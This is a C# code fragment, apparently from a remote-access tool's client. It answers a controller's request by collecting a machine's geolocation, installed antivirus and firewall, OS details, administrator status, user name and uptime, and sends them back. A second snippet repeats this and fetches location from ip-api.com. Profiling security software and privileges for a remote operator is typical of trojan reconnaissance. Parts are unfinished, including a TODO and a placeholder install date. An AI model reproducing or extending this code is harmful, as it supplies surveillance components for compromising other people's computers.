//TODO: make better public override void PacketReceived(IDataPacket packet, IChannel sender) { if (packet is FetchExtendedInformationPacket) { var returnInfoPacket = new FetchExtendedInformationPacket(); var geoIpInfo = GeoIpHelper.FetchInformation(); returnInfoPacket.CountryCode = geoIpInfo.CountryCode; returnInfoPacket.CountryName = geoIpInfo.CountryName; returnInfoPacket.TimeZone = geoIpInfo.TimeZone; returnInfoPacket.Latitude = geoIpInfo.Latitude; returnInfoPacket.Longitude = geoIpInfo.Longitude; returnInfoPacket.InstalledAntivirus = SystemInformationHelper.FetchInstalledAntivirus(); returnInfoPacket.InstalledFirewall = SystemInformationHelper.FetchInstalledFirewall(); returnInfoPacket.ThisPath = Path.GetDirectoryName(typeof(ExtendedInformationOperation).Assembly.Location); var friendlyName = SystemInformationHelper.Name; var edition = SystemInformationHelper.Edition; var ptrSize = SystemInformationHelper.Bits; var sp = SystemInformationHelper.ServicePack; var operatingSystem = string.Concat(friendlyName, " ", edition, " x", +ptrSize, " ", sp); var computerName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; var isAdmin = SystemInformationHelper.IsAdministrator(); returnInfoPacket.OperatingSystem = operatingSystem; returnInfoPacket.IsAdmin = isAdmin; returnInfoPacket.ComputerName = computerName; returnInfoPacket.InstallDate = new DateTime(); var upTime = SystemInformationHelper.GetSystemRunningTime(); returnInfoPacket.RunningTime = string.Format("{0}h {1}m {2}s", upTime.Hours, upTime.Minutes, upTime.Seconds); SendPacket(returnInfoPacket); } }
public void SerializeTo(Stream stream) { var friendlyName = SystemInformationHelper.Name; var edition = SystemInformationHelper.Edition; var ptrSize = SystemInformationHelper.Bits; var sp = SystemInformationHelper.ServicePack; OperatingSystem = string.Concat(friendlyName, " ", edition, " x", +ptrSize, " ", sp); ComputerName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; var rawStr = new WebClient().DownloadString("http://ip-api.com/csv"); CountryCode = string.Concat(rawStr.Split(',')[1], " (", rawStr.Split(',')[2], ")"); IsAdmin = SystemInformationHelper.IsAdministrator() ? "True" : "False"; var bw = new BinaryWriter(stream); bw.Write(PacketId); bw.Write(OperatingSystem); bw.Write(ComputerName); bw.Write(CountryCode); bw.Write(IsAdmin); }